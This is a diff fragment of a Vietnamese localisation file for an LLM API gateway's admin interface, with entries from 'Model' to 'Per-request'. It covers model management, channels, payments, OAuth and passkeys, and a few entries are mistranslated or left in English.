+    "Model": "Mô hình",
+    "Model Access": "Truy cập mô hình",
+    "Model Analytics": "Phân tích mô hình",
+    "Model Call Analytics": "Phân tích lượt gọi mô hình",
+    "Model context usage": "Sử dụng ngữ cảnh mô hình",
+    "Model deleted": "Đã xóa mô hình",
+    "Model deleted successfully": "Model đã được xóa thành công",
+    "Model deployment service is disabled": "Dịch vụ triển khai mô hình đang bị tắt",
+    "Model Description": "Mô tả Mô hình",
+    "Model disabled successfully": "Model đã được vô hiệu hóa thành công",
+    "Model enabled successfully": "Model đã được kích hoạt thành công",
+    "Model fixed pricing": "Fixed-price model",
+    "Model Group": "Nhóm Mô hình",
+    "Model Limits": "Giới hạn Mô hình",
+    "Model Mapping": "Ánh xạ mô hình",
+    "Model Mapping (JSON)": "Ánh xạ mô hình (JSON)",
+    "Model Mapping must be a JSON object like": "Ánh xạ Mô hình phải là một đối tượng JSON như",
+    "Model mapping must be valid JSON": "Ánh xạ mô hình phải là JSON hợp lệ",
+    "Model name": "Tên mẫu",
+    "Model Name": "Tên mẫu",
+    "Model Name *": "Tên mẫu *",
+    "Model name is required": "Tên mô hình là bắt buộc",
+    "Model names copied to clipboard": "Tên mô hình đã được sao chép vào bộ nhớ tạm",
+    "Model not found": "Không tìm thấy mô hình",
+    "Model Price": "Giá mô hình",
+    "Model Price Not Configured": "Giá mô hình chưa được cấu hình",
+    "Model Pricing": "Bảng giá mô hình",
+    "Model pull failed: {{msg}}": "Tải mô hình thất bại: {{msg}}",
+    "Model ratio": "Tỷ lệ mô hình",
+    "Model ratios": "Tỷ lệ mô hình",
+    "Model ratios reset successfully": "Tỷ lệ mô hình đã được đặt lại thành công",
+    "Model Regex": "Regex mô hình",
+    "Model Regex (one per line)": "Regex mô hình (mỗi dòng một mục)",
+    "Model to use for testing": "Mô hình dùng để kiểm thử",
+    "Model to use when testing channel connectivity": "Mô hình để sử dụng khi kiểm tra kết nối kênh",
+    "Model Version *": "Phiên bản mô hình *",
+    "model(s) selected out of": "mô hình(s) được chọn trong số",
+    "model(s)? This action cannot be undone.": "mô hình(s)? Hành động này không thể hoàn tác.",
+    "models": "mô hình",
+    "Models": "Mô hình",
+    "Models *": "Các mô hình *",
+    "Models & Groups": "Mô hình & Nhóm",
+    "Models appended successfully": "Đã thêm mô hình thành công",
+    "Models are required": "Các mô hình được yêu cầu",
+    "Models directory": "Thư mục mô hình",
+    "Models fetched successfully": "Các mô hình đã được tải thành công",
+    "Models filled to form": "Mô hình đã được điền vào biểu mẫu",
+    "Models listed here will not automatically append or remove -thinking / -nothinking suffixes.": "Các mô hình được liệt kê ở đây sẽ không tự động thêm hoặc xóa hậu tố -thinking / -nothinking.",
+    "Models not in list, may fail to invoke": "Các mô hình không có trong danh sách, có thể gọi thất bại",
+    "Models that are being used but not configured in the system": "Mô hình đang được sử dụng nhưng chưa được cấu hình trong hệ thống",
+    "Models updated successfully": "Mô hình đã được cập nhật thành công",
+    "Modify existing subscription plan configuration": "Sửa đổi cấu hình gói đăng ký hiện có",
+    "Module availability": "Khả dụng của mô-đun",
+    "MokaAI": "MokaAI",
+    "Monitor": "Giám sát",
+    "Monitoring & Alerts": "Giám sát & Cảnh báo",
+    "Month": "Tháng",
+    "Monthly": "Hàng tháng",
+    "months": "tháng",
+    "Moonshot": "Dự án táo bạo",
+    "More": "Thêm",
+    "more mapping": "thêm lập bản đồ",
+    "More templates...": "Thêm mẫu...",
+    "More...": "Thêm...",
+    "Move": "Di chuyển",
+    "Move affiliate rewards to your main balance": "Chuyển phần thưởng liên kết vào số dư chính của bạn",
+    "Move Header": "Di chuyển tiêu đề",
+    "ms": "ms",
+    "Multi-key channel: Keys will be": "Kênh đa khóa: Các khóa sẽ là",
+    "Multi-Key Management": "Quản lý đa khóa",
+    "Multi-Key Mode (multiple keys, one channel)": "Chế độ đa phím (nhiều phím, một kênh)",
+    "Multi-Key Strategy": "Chiến lược đa khóa",
+    "Multi-key: Polling rotation": "Đa khóa: Xoay vòng tuần tự",
+    "Multi-key: Random rotation": "Đa khóa: Xoay vòng ngẫu nhiên",
+    "Multi-region deployment for stable global access": "Triển khai đa khu vực để truy cập toàn cầu ổn định",
+    "Multi-user management with flexible permission allocation": "Quản lý nhiều người dùng với phân bổ quyền linh hoạt",
+    "Multiplier": "Hệ số nhân",
+    "Multiplier applied when": "Hệ số nhân áp dụng khi",
+    "Multiplier applied when {{userGroup}} uses {{targetGroup}}": "Hệ số áp dụng khi {{userGroup}} sử dụng {{targetGroup}}",
+    "Multiplier for audio inputs.": "Hệ số nhân cho đầu vào âm thanh.",
+    "Multiplier for audio outputs.": "Hệ số nhân cho đầu ra âm thanh.",
+    "Multiplier for completion tokens.": "Hệ số nhân cho token hoàn thành.",
+    "Multiplier for image processing.": "Hệ số nhân trong xử lý ảnh.",
+    "Multiplier for prompt tokens.": "Hệ số nhân cho token nhắc lệnh.",
+    "Multipliers for recharge pricing based on user groups.": "Hệ số nhân cho việc định giá nạp tiền dựa trên nhóm người dùng.",
+    "Must be a valid URL": "Phải là URL hợp lệ",
+    "Must be at least 8 characters": "Phải có ít nhất 8 ký tự",
+    "My Subscriptions": "Gói đăng ký của tôi",
+    "my-status": "trạng thái của tôi",
+    "MySQL detected": "Đã phát hiện MySQL",
+    "MySQL is a production-ready relational database. Keep your credentials secure.": "MySQL là cơ sở dữ liệu quan hệ sẵn sàng cho production. Hãy giữ thông tin đăng nhập an toàn.",
+    "MySQL is production ready. Ensure automated backups and a dedicated user with the minimal required privileges are configured.": "MySQL đã sẵn sàng để triển khai sản xuất. Đảm bảo sao lưu tự động và một người dùng chuyên dụng với các đặc quyền tối thiểu cần thiết được cấu hình.",
+    "N/A": "N/A",
+    "Name": "Tên",
+    "Name *": "Tên *",
+    "Name for this redemption code (1-20 characters)": "Tên cho mã đổi quà này (1-20 ký tự)",
+    "Name is available": "Tên có sẵn",
+    "Name is not available": "Tên không có sẵn",
+    "Name must be between {{min}} and {{max}} characters": "Tên phải có giữa {{min}} và {{max}} ký tự",
+    "Name Rule": "Quy tắc đặt tên",
+    "Name Suffix": "Hậu tố tên",
+    "name@example.com": "name@example.com",
+    "Native format": "Định dạng gốc",
+    "Need a code?": "Cần mã không?",
+    "Nested JSON defining per-group rules for adding (+:), removing (-:), or appending usable groups.": "JSON lồng nhau xác định quy tắc theo nhóm để thêm (+:), xóa (-:), hoặc nối các nhóm có thể sử dụng.",
+    "Nested JSON: source group →": "JSON lồng nhau: nhóm nguồn →",
+    "Network proxy for this channel (supports socks5 protocol)": "Proxy mạng cho kênh này (hỗ trợ giao thức socks5)",
+    "Never": "Không bao giờ",
+    "Never expires": "Không hết hạn",
+    "New API": "API mới",
+    "New API &lt;noreply@example.com&gt;": "API mới &lt;noreply@example.com&gt;",
+    "New API Project Repository:": "Kho lưu trữ Dự án API Mới:",
+    "New Format Template": "Mẫu định dạng mới",
+    "New Group": "Nhóm mới",
+    "New Models ({{count}})": "Mô hình mới ({{count}})",
+    "New name will be:": "Tên mới sẽ là:",
+    "New password": "Mật khẩu mới",
+    "New Password": "Mật khẩu mới",
+    "New password must be different from current password": "Mật khẩu mới phải khác với mật khẩu hiện tại",
+    "New User Quota": "Hạn mức người dùng mới",
+    "New version available: {{version}}": "Có phiên bản mới: {{version}}",
+    "NewAPI": "NewAPI",
+    "Next": "Tiếp",
+    "Next branch": "Nhánh tiếp theo",
+    "Next page": "Trang tiếp theo",
+    "Next reset": "Lần đặt lại tiếp theo",
+    "No About Content Set": "Chưa đặt nội dung Giới thiệu",
+    "No Active": "Không hoạt động",
+    "No additional type-specific settings for this channel type.": "Không có cài đặt bổ sung cụ thể theo loại cho loại kênh này.",
+    "No amount options configured. Add amounts below to get started.": "Chưa có tùy chọn số tiền nào được cấu hình. Thêm các số tiền bên dưới để bắt đầu.",
+    "No announcements at this time": "Hiện tại chưa có thông báo nào.",
+    "No announcements yet. Click \"Add Announcement\" to create one.": "Chưa có thông báo nào. Nhấp vào \"Thêm thông báo\" để tạo một thông báo.",
+    "No API Domains yet. Click \"Add API\" to create one.": "Chưa có Tên miền API nào. Nhấp vào \"Thêm API\" để tạo.",
+    "No API keys available. Create your first API key to get started.": "Không có khóa API nào khả dụng. Tạo khóa API đầu tiên của bạn để bắt đầu.",
+    "No API Keys Found": "Không tìm thấy khóa API",
+    "No API routes configured": "Chưa có tuyến API nào được cấu hình",
+    "No available models": "Không có mô hình khả dụng",
+    "No available Web chat links": "Không có liên kết Web chat khả dụng",
+    "No backup": "Chưa sao lưu",
+    "No billing records found": "Không tìm thấy hồ sơ thanh toán",
+    "No Change": "Không thay đổi",
+    "No changes": "Không có thay đổi",
+    "No changes made": "Không có thay đổi nào được thực hiện",
+    "No changes to save": "Không có thay đổi nào để lưu",
+    "No channel selected": "Chưa chọn kênh nào",
+    "No channels available. Create your first channel to get started.": "Không có kênh nào khả dụng. Hãy tạo kênh đầu tiên của bạn để bắt đầu.",
+    "No channels found": "Không tìm thấy kênh nào",
+    "No Channels Found": "Không tìm thấy kênh nào",
+    "No channels selected": "Không có kênh nào được chọn",
+    "No chat presets configured. Click \"Add chat preset\" to get started.": "Chưa cấu hình cài đặt trước trò chuyện. Nhấp vào \"Thêm cài đặt trước trò chuyện\" để bắt đầu.",
+    "No chat presets match your search": "Không có cài đặt trước trò chuyện nào khớp với tìm kiếm của bạn",
+    "No conflict entries available.": "Không có mục xung đột nào khả dụng.",
+    "No conflicts match your search.": "Không có xung đột nào khớp với tìm kiếm của bạn.",
+    "No console output": "Không có đầu ra console",
+    "No containers": "Không có container",
+    "No custom OAuth providers configured yet.": "Chưa có nhà cung cấp OAuth tùy chỉnh nào được cấu hình.",
+    "No data": "Không có dữ liệu",
+    "No Data": "Không có dữ liệu",
+    "No data available": "Không có dữ liệu",
+    "No deployments available. Create one to get started.": "Không có triển khai nào khả dụng. Tạo một cái để bắt đầu.",
+    "No Deployments Found": "Không tìm thấy triển khai nào",
+    "No discount tiers configured. Click \"Add discount tier\" to get started.": "Chưa cấu hình cấp chiết khấu nào. Nhấp vào \"Thêm cấp chiết khấu\" để bắt đầu.",
+    "No duplicate keys found": "Không tìm thấy khóa trùng lặp",
+    "No enabled tokens available": "Không có token nào được kích hoạt",
+    "No endpoints configured. Switch to JSON mode or add rows to define endpoints.": "Chưa cấu hình endpoint nào. Chuyển sang chế độ JSON hoặc thêm hàng để định nghĩa endpoint.",
+    "No FAQ entries available": "Không có mục FAQ nào.",
+    "No FAQ entries yet. Click \"Add FAQ\" to create one.": "Chưa có mục FAQ nào. Nhấp vào \"Thêm FAQ\" để tạo một mục.",
+    "No files match the accepted types.": "Không có tệp nào khớp với các loại được chấp nhận.",
+    "No group found.": "Không tìm thấy nhóm.",
+    "No group-based rate limits configured. Click \"Add group\" to get started.": "Chưa cấu hình giới hạn tốc độ dựa trên nhóm. Nhấp \"Add group\" để bắt đầu.",
+    "No groups match your search": "Không có nhóm nào khớp với tìm kiếm của bạn",
+    "No header overrides configured.": "Không có ghi đè tiêu đề nào được cấu hình.",
+    "No Inviter": "Không có người mời",
+    "No keys found": "Không tìm thấy khóa",
+    "No log entries matched the selected time.": "Không có mục nhật ký nào khớp với thời gian đã chọn.",
+    "No logs": "Không có nhật ký",
+    "No Logs Found": "Không tìm thấy nhật ký",
+    "No mappings configured. Click \"Add Row\" to get started.": "Chưa có ánh xạ nào được cấu hình. Nhấp vào \"Thêm hàng\" để bắt đầu.",
+    "No matches found": "Không tìm thấy kết quả nào",
+    "No matching results": "Không có kết quả phù hợp",
+    "No messages yet": "Chưa có tin nhắn",
+    "No missing models found.": "Không tìm thấy mô hình nào bị thiếu.",
+    "No model found.": "Không tìm thấy mô hình.",
+    "No model mappings configured. Click \"Add Mapping\" to get started.": "Chưa có ánh xạ mô hình nào được cấu hình. Nhấp vào \"Thêm ánh xạ\" để bắt đầu.",
+    "No models available": "Không có mô hình nào khả dụng",
+    "No models available in this category": "Không có mô hình nào trong danh mục này",
+    "No models available. Create your first model to get started.": "Không có mô hình nào khả dụng. Hãy tạo mô hình đầu tiên của bạn để bắt đầu.",
+    "No models fetched from upstream": "Không lấy được mô hình nào từ upstream",
+    "No models fetched yet.": "Chưa có mô hình nào được tìm nạp.",
+    "No models found": "Không tìm thấy mô hình nào",
+    "No Models Found": "No models found",
+    "No models found.": "Không tìm thấy mô hình.",
+    "No models match your current filters.": "Không có mô hình nào khớp với bộ lọc hiện tại của bạn.",
+    "No models match your search": "Không có mô hình phù hợp với tìm kiếm",
+    "No models selected": "Chưa chọn mô hình nào",
+    "No models to add": "Không có mô hình để thêm",
+    "No models to copy": "Không có mô hình nào để sao chép",
+    "No models to remove": "Không có mô hình để xóa",
+    "No new models to add": "Không có mô hình mới để thêm",
+    "No parameter overrides configured.": "Không có ghi đè tham số nào được cấu hình.",
+    "No payment methods available. Please contact administrator.": "Không có phương thức thanh toán nào khả dụng. Vui lòng liên hệ quản trị viên.",
+    "No payment methods configured": "Chưa cấu hình phương thức thanh toán",
+    "No payment methods configured. Click \"Add method\" or use templates to get started.": "Chưa cấu hình phương thức thanh toán. Nhấp vào \"Thêm phương thức\" hoặc sử dụng mẫu để bắt đầu.",
+    "No payment methods match your search": "Không có phương thức thanh toán nào khớp với tìm kiếm của bạn",
+    "No plans available": "Không có gói nào khả dụng",
+    "No preference": "Không có ưu tiên",
+    "No prefill groups yet": "Chưa có nhóm điền sẵn nào",
+    "No price differences found": "Không tìm thấy sự khác biệt về giá",
+    "No processable upstream model updates for this channel": "Không có cập nhật mô hình upstream có thể xử lý cho kênh này",
+    "No products configured. Click \"Add product\" to get started.": "Chưa cấu hình sản phẩm nào. Nhấp \"Thêm sản phẩm\" để bắt đầu.",
+    "No products match your search": "Không có sản phẩm nào khớp với tìm kiếm của bạn",
+    "No providers available": "Không có nhà cung cấp khả dụng",
+    "No Quota": "Không hạn ngạch",
+    "No ratio differences found": "Không tìm thấy sự khác biệt tỷ lệ",
+    "No records found. Try adjusting your filters.": "Không tìm thấy bản ghi nào. Hãy thử điều chỉnh bộ lọc của bạn.",
+    "No redemption codes available. Create your first redemption code to get started.": "Hiện không có mã đổi thưởng nào. Hãy tạo mã đổi thưởng đầu tiên của bạn để bắt đầu.",
+    "No Redemption Codes Found": "Không tìm thấy mã đổi thưởng",
+    "No related models available for this channel type": "Không có mô hình liên quan nào cho loại kênh này",
+    "No release notes provided.": "Không có ghi chú phát hành nào được cung cấp.",
+    "No Reset": "Không đặt lại",
+    "No restriction": "Không giới hạn",
+    "No results for \"{{query}}\". Try adjusting your search or filters.": "Không tìm thấy kết quả cho \"{{query}}\". Hãy thử điều chỉnh tìm kiếm hoặc bộ lọc.",
+    "No results found": "Không tìm thấy kết quả nào",
+    "No results found.": "Không tìm thấy kết quả.",
+    "No Retry": "Không thử lại",
+    "No rules yet": "Chưa có quy tắc",
+    "No rules yet. Add a group below to get started.": "Chưa có quy tắc nào. Thêm một nhóm bên dưới để bắt đầu.",
+    "No status code mappings configured.": "Chưa cấu hình ánh xạ mã trạng thái.",
+    "No subscription plans yet": "Chưa có gói đăng ký nào",
+    "No subscription records": "Không có bản ghi đăng ký",
+    "No Sync": "Không đồng bộ",
+    "No system announcements": "Không có thông báo hệ thống",
+    "No token found.": "Không tìm thấy mã thông báo.",
+    "No tools configured": "Chưa cấu hình công cụ nào",
+    "No Upgrade": "Không nâng cấp",
+    "No upstream price differences found": "Không tìm thấy sự khác biệt về giá upstream",
+    "No upstream ratio differences found": "Không tìm thấy chênh lệch tỷ lệ thượng nguồn",
+    "No Uptime Kuma groups yet. Click \"Add Group\" to create one.": "Chưa có nhóm Uptime Kuma nào. Nhấp vào \"Thêm nhóm\" để tạo một nhóm.",
+    "No uptime monitoring configured": "Chưa cấu hình giám sát thời gian hoạt động",
+    "No usage logs available. Logs will appear here once API calls are made.": "Chưa có nhật ký sử dụng. Nhật ký sẽ hiển thị sau khi có gọi API.",
+    "No user information available": "Không có thông tin người dùng",
+    "No user selected": "Chưa chọn người dùng",
+    "No users available. Try adjusting your search or filters.": "Không có người dùng nào. Hãy thử điều chỉnh tìm kiếm hoặc bộ lọc của bạn.",
+    "No Users Found": "Không tìm thấy người dùng nào",
+    "Node Name": "Tên nút",
+    "Non-stream": "Không phát trực tuyến",
+    "None": "Không có",
+    "noreply@example.com": "noreply@example.com",
+    "Normalized:": "Chuẩn hóa:",
+    "Not available": "Không khả dụng",
+    "Not backed up": "Chưa sao lưu",
+    "Not bound": "Không bị ràng buộc",
+    "Not Set": "Chưa đặt",
+    "Not set yet": "Chưa thiết lập",
+    "Not Started": "Chưa bắt đầu",
+    "Not Submitted": "Chưa gửi",
+    "Not tested": "Chưa kiểm tra",
+    "Not used yet": "Chưa sử dụng",
+    "Notice": "Thông báo",
+    "Notification Email": "Email thông báo",
+    "Notification Method": "Phương thức thông báo",
+    "Notifications": "Thông báo",
+    "Number of codes to create": "Số mã cần tạo",
+    "Number of keys to create": "Số lượng khóa cần tạo",
+    "Number of times to retry failed requests (0-10)": "Số lần thử lại các yêu cầu không thành công (0-10)",
+    "Number of tokens per unit quota": "Số token trên đơn vị hạn mức",
+    "Number of users invited": "Số người dùng được mời",
+    "OAuth Client ID": "ID Client OAuth",
+    "OAuth Client Secret": "Bí mật OAuth Client",
+    "OAuth failed": "OAuth thất bại",
+    "OAuth Integrations": "Tích hợp OAuth",
+    "OAuth start failed": "Bắt đầu OAuth thất bại",
+    "Observability": "Khả năng quan sát",
+    "Obtain the API key, merchant ID, and RSA key pair from the Waffo dashboard, and configure the callback URL.": "Lấy API key, mã thương gia và cặp khóa RSA từ bảng điều khiển Waffo, đồng thời cấu hình URL callback.",
+    "Obtain the merchant, store, product and signing keys from your Waffo dashboard. Webhook URL: <ServerAddress>/api/waffo-pancake/webhook": "Lấy merchant, store, product và khóa ký từ bảng điều khiển Waffo. Webhook: <ServerAddress>/api/waffo-pancake/webhook",
+    "of": "of",
+    "of 3:": "of 3:",
+    "off": "off",
+    "Official": "Chính thức",
+    "Official documentation": "Tài liệu chính thức",
+    "Official Repository": "Kho lưu trữ chính thức",
+    "Official Sync": "Official sync",
+    "OhMyGPT": "OhMyGPT",
+    "OIDC": "OIDC",
+    "OIDC Client ID": "Mã máy khách OIDC",
+    "OIDC Client Secret": "Mã bí mật ứng dụng khách OIDC",
+    "OIDC configuration fetched successfully": "Cấu hình OIDC đã được lấy thành công",
+    "OIDC discovery URL. Click \"Auto-discover\" to fetch endpoints automatically.": "URL khám phá OIDC. Nhấp \"Tự động khám phá\" để tự động lấy các endpoint.",
+    "OIDC endpoints discovered successfully": "Đã khám phá thành công các endpoint OIDC",
+    "Old Format Template": "Mẫu Định dạng Cũ",
+    "Old format: Direct override. New format: Supports conditional judgment and custom JSON operations.": "Định dạng cũ: Ghi đè trực tiếp. Định dạng mới: Hỗ trợ phán đoán có điều kiện và các thao tác JSON tùy chỉnh.",
+    "Ollama": "Ollama",
+    "Ollama Models": "Mô hình Ollama",
+    "One API": "Một API",
+    "One domain per line": "Một tên miền mỗi dòng",
+    "One domain per line (only used when domain restriction is enabled)": "Mỗi dòng một tên miền (chỉ được sử dụng khi hạn chế tên miền được bật)",
+    "One IP or CIDR range per line": "Một IP hoặc dải CIDR mỗi dòng",
+    "One IP per line (empty for no restriction)": "Mỗi IP một dòng (để trống nếu không giới hạn)",
+    "one keyword per line": "Mỗi dòng một từ khóa",
+    "Online payment is not enabled. Please contact the administrator.": "Thanh toán trực tuyến chưa được kích hoạt. Vui lòng liên hệ quản trị viên.",
+    "Online topup is not enabled. Please use redemption code or contact administrator.": "Tính năng nạp tiền trực tuyến chưa được bật. Vui lòng sử dụng mã quy đổi hoặc liên hệ quản trị viên.",
+    "Only allow specific email domains": "Chỉ cho phép các tên miền email cụ thể",
+    "Only available for admins. When enabled, you will receive a summary notification via your selected method when the scheduled model check detects upstream model changes or check failures.": "Chỉ khả dụng cho quản trị viên. Khi bật, bạn sẽ nhận được thông báo tổng hợp qua phương thức đã chọn khi kiểm tra mô hình định kỳ phát hiện thay đổi mô hình nguồn hoặc lỗi kiểm tra.",
+    "Only selected fields will be overwritten. You can re-run the sync wizard if new conflicts appear.": "Chỉ các trường được chọn sẽ bị ghi đè. Bạn có thể chạy lại trình hướng dẫn đồng bộ hóa nếu có xung đột mới xuất hiện.",
+    "Only successful requests": "Chỉ các yêu cầu thành công",
+    "Only successful requests count toward this limit.": "Chỉ những yêu cầu thành công mới được tính vào giới hạn này.",
+    "Only the last {{value}} log files will be retained; the rest will be deleted.": "Chỉ giữ lại {{value}} tệp nhật ký gần nhất; phần còn lại sẽ bị xóa.",
+    "Oops! Page Not Found!": "Ối! Không tìm thấy trang!",
+    "Oops! Something went wrong": "Oops! An error occurred.",
+    "Open": "Mở",
+    "Open authorization page": "Mở trang ủy quyền",
+    "Open CC Switch": "Mở công tắc CC",
+    "Open in chat": "Mở trong trò chuyện",
+    "Open in new tab": "Mở trong tab mới",
+    "Open in New Tab": "Mở trong tab mới",
+    "Open menu": "Mở menu",
+    "Open release": "Phát hành mở",
+    "Open the io.net console API Keys page": "Mở trang Khóa API của console io.net",
+    "Open theme settings": "Mở cài đặt giao diện",
+    "OpenAI": "OpenAI",
+    "OpenAI Compatible": "Tương thích OpenAI",
+    "OpenAI Organization": "Tổ chức OpenAI",
+    "OpenAI Organization ID (optional)": "ID Tổ chức OpenAI (tùy chọn)",
+    "OpenAI, Anthropic, etc.": "OpenAI, Anthropic, v.v.",
+    "OpenAI, Anthropic, Google, etc.": "OpenAI, Anthropic, Google, v.v.",
+    "OpenAIMax": "OpenAIMax",
+    "Opened authorization page": "Đã mở trang ủy quyền",
+    "OpenRouter": "OpenRouter",
+    "opens in an external client. Trigger it from the sidebar or API key actions to launch the configured application.": "mở trong một ứng dụng bên ngoài. Kích hoạt nó từ thanh bên hoặc các hành động khóa API để khởi chạy ứng dụng đã cấu hình.",
+    "Operation failed": "Thao tác thất bại",
+    "Operator Admin": "Quản trị viên vận hành",
+    "Optimize system for self-hosted single-user usage": "Tối ưu hóa hệ thống cho việc sử dụng đơn người dùng tự lưu trữ",
+    "Optimized network architecture ensures millisecond response times": "Kiến trúc mạng tối ưu đảm bảo thời gian phản hồi mili giây",
+    "Optional callback override. Leave blank to use server address": "Tùy chọn ghi đè callback. Để trống để sử dụng địa chỉ máy chủ",
+    "Optional icon identifier for the login button": "Định danh biểu tượng tùy chọn cho nút đăng nhập",
+    "Optional JSON policy to restrict access based on user info fields": "Chính sách JSON tùy chọn để hạn chế truy cập dựa trên các trường thông tin người dùng",
+    "Optional minimum recharge amount for this method.": "Số tiền nạp tối thiểu tùy chọn cho phương thức này.",
+    "Optional multiplier per user group used when calculating recharge pricing. Provide a JSON object such as": "Hệ số nhân tùy chọn cho mỗi nhóm người dùng, được sử dụng khi tính toán giá nạp tiền. Cung cấp một đối tượng JSON như",
+    "Optional notes about this channel": "Ghi chú tùy chọn về kênh này",
+    "Optional notes about when to use this group": "Các ghi chú tùy chọn về thời điểm sử dụng nhóm này",
+    "Optional ratio used when upstream cache hits occur.": "Tỷ lệ tùy chọn được sử dụng khi xảy ra các lượt truy cập bộ nhớ đệm ngược dòng.",
+    "Optional settings for advanced container configuration.": "Cài đặt tùy chọn cho cấu hình container nâng cao.",
+    "Optional supplementary information (max 100 characters)": "Thông tin bổ sung tùy chọn (tối đa 100 ký tự)",
+    "Optional tag for grouping channels": "Thẻ tùy chọn để nhóm kênh",
+    "Opus Model": "Mô hình Opus",
+    "Or continue with": "Hoặc tiếp tục với",
+    "Or enter this key manually:": "Hoặc nhập khóa này thủ công:",
+    "Order completed successfully": "Đơn hàng đã hoàn thành thành công",
+    "Order History": "Lịch sử đơn hàng",
+    "Order Payment Method": "Phương thức thanh toán đơn hàng",
+    "org-...": "org-...",
+    "Original Model": "Nguyên mẫu",
+    "Other": "Khác",
+    "Output": "Đầu ra",
+    "Output price": "Giá đầu ra",
+    "Output tokens": "Token đầu ra",
+    "Output Tokens": "Token đầu ra",
+    "override": "ghi đè",
+    "Override": "Ghi đè",
+    "Override Anthropic headers, defaults, and thinking adapter behavior": "Ghi đè tiêu đề, cài đặt mặc định và hành vi bộ điều hợp tư duy của Anthropic",
+    "Override auto-discovered endpoint": "Ghi đè điểm cuối tự động phát hiện",
+    "Override request headers": "Ghi đè tiêu đề yêu cầu",
+    "Override request headers (JSON format)": "Ghi đè tiêu đề yêu cầu (định dạng JSON)",
+    "Override request parameters (JSON format)": "Ghi đè tham số yêu cầu (định dạng JSON)",
+    "Override request parameters. Cannot override": "Ghi đè tham số yêu cầu. Không thể ghi đè",
+    "Override the endpoint used for testing. Leave empty to auto detect.": "Ghi đè điểm cuối dùng để kiểm thử. Để trống để tự động phát hiện.",
+    "overrides for matching model prefix.": "ghi đè theo tiền tố model tương ứng.",
+    "Overview": "Tổng quan",
+    "Overwritten": "Đã ghi đè",
+    "Page": "Trang",
+    "Page {{current}} of {{total}}": "Trang {{current}} / {{total}}",
+    "PaLM": "PaLM",
+    "Pan": "Pan",
+    "Param Override": "Ghi đè tham số",
+    "Parameter Override": "Ghi đè Tham số",
+    "Parameter Override Template (JSON)": "Mẫu ghi đè tham số (JSON)",
+    "Parameter override template must be a JSON object": "Mẫu ghi đè tham số phải là đối tượng JSON",
+    "parameter.": "tham số",
+    "Parameters": "Tham số",
+    "Parsed {{count}} service account file(s)": "Đã phân tích {{count}} tệp tài khoản dịch vụ",
+    "Partial Submission": "Gửi một phần",
+    "Pass Headers": "Chuyển tiếp tiêu đề",
+    "Pass request body directly to upstream": "Truyền phần thân yêu cầu trực tiếp lên upstream",
+    "Pass Through Body": "Xuyên qua cơ thể",
+    "Pass through the anthropic-beta header for beta features": "Chuyển tiếp header anthropic-beta cho tính năng beta",
+    "Pass through the include field for usage obfuscation": "Chuyển tiếp trường include cho che giấu sử dụng",
+    "Pass through the inference_geo field for Claude data residency region control": "Chuyển tiếp trường inference_geo để kiểm soát vùng lưu trữ dữ liệu Claude",
+    "Pass through the inference_geo field for geographic routing": "Chuyển tiếp trường inference_geo cho định tuyến địa lý",
+    "Pass through the safety_identifier field": "Chuyển tiếp trường safety_identifier",
+    "Pass through the service_tier field": "Chuyển tiếp trường service_tier",
+    "Pass through the speed field for Claude inference speed mode control": "Chuyển tiếp trường speed để kiểm soát chế độ tốc độ suy luận Claude",
+    "Pass-Through": "Chuyển tiếp",
+    "Passkey": "Khóa truy cập",
+    "Passkey Authentication": "Xác thực khóa truy cập",
+    "Passkey is not available in this browser": "Passkey không khả dụng trong trình duyệt này",
+    "Passkey is not supported in this environment": "Passkey không được hỗ trợ trong môi trường này",
+    "Passkey is not supported on this device": "Passkey không được hỗ trợ trên thiết bị này",
+    "Passkey is not supported on this device.": "Khóa truy cập không được hỗ trợ trên thiết bị này.",
+    "Passkey Login": "Đăng nhập bằng khóa truy cập",
+    "Passkey login failed": "Đăng nhập Passkey thất bại",
+    "Passkey login was cancelled": "Đăng nhập Passkey đã bị hủy",
+    "Passkey login was cancelled or timed out": "Đăng nhập Passkey đã bị hủy hoặc hết thời gian",
+    "Passkey not supported on this device": "Khóa truy cập không được hỗ trợ trên thiết bị này",
+    "Passkey registered successfully": "Passkey đã được đăng ký thành công",
+    "Passkey registration was cancelled": "Đăng ký Passkey đã bị hủy",
+    "Passkey removed successfully": "Đã xóa Passkey thành công",
+    "Passkey reset successfully": "Đặt lại Passkey thành công",
+    "Password": "Mật khẩu",
+    "Password / Access Token": "Mật khẩu / Access Token",
+    "Password changed successfully": "Đổi mật khẩu thành công",
+    "Password copied to clipboard: {{password}}": "Mật khẩu đã sao chép vào clipboard: {{password}}",
+    "Password has been copied to clipboard": "Mật khẩu đã được sao chép vào bộ nhớ tạm",
+    "Password Login": "Đăng nhập bằng mật khẩu",
+    "Password must be at least 8 characters": "Mật khẩu phải có ít nhất 8 ký tự",
+    "Password must be at least 8 characters long": "Mật khẩu phải có ít nhất 8 ký tự",
+    "Password Registration": "Đăng ký mật khẩu",
+    "Password reset and copied to clipboard: {{password}}": "Mật khẩu đã đặt lại và sao chép vào clipboard: {{password}}",
+    "Password reset: {{password}}": "Mật khẩu đã đặt lại: {{password}}",
+    "Passwords do not match": "Mật khẩu không khớp",
+    "Paste the full callback URL (includes code & state)": "Dán toàn bộ URL callback (gồm code và state)",
+    "Path": "Đường dẫn",
+    "Path Regex (one per line)": "Regex đường dẫn (mỗi dòng một mục)",
+    "Path:": "Đường dẫn:",
+    "Pay": "Pay",
+    "Pay-as-you-go with real-time usage monitoring": "Thanh toán theo mức sử dụng với theo dõi mức sử dụng theo thời gian thực",
+    "Payment Channel": "Kênh thanh toán",
+    "Payment Gateway": "Cổng thanh toán",
+    "Payment initiated": "Đã khởi tạo thanh toán",
+    "Payment Method": "Phương thức thanh toán",
+    "Payment method name": "Tên phương thức thanh toán",
+    "Payment method name is required": "Tên phương thức thanh toán là bắt buộc",
+    "Payment method type": "Loại phương thức thanh toán",
+    "Payment method type is required": "Loại phương thức thanh toán là bắt buộc",
+    "Payment methods": "Phương thức thanh toán",
+    "Payment Methods": "Phương thức thanh toán",
+    "Payment page opened": "Đã mở trang thanh toán",
+    "Payment request failed": "Yêu cầu thanh toán thất bại",
+    "Payment return URL": "URL trả về thanh toán",
+    "Pending": "Đang chờ",
+    "per": "per",
+    "Per 1K tokens": "Mỗi 1K tokens",
+    "Per 1M tokens": "Mỗi 1M tokens",
+    "per request": "theo yêu cầu",
+    "Per request": "Mỗi yêu cầu",
+    "Per Request": "Theo yêu cầu",
+    "Per-call": "Mỗi lần gọi",
+    "Per-feature metered windows split by model or capability.": "Cửa sổ tính phí theo từng tính năng, tách theo mô hình hoặc năng lực.",
+    "Per-request (fixed price)": "Theo yêu cầu (giá cố định)",
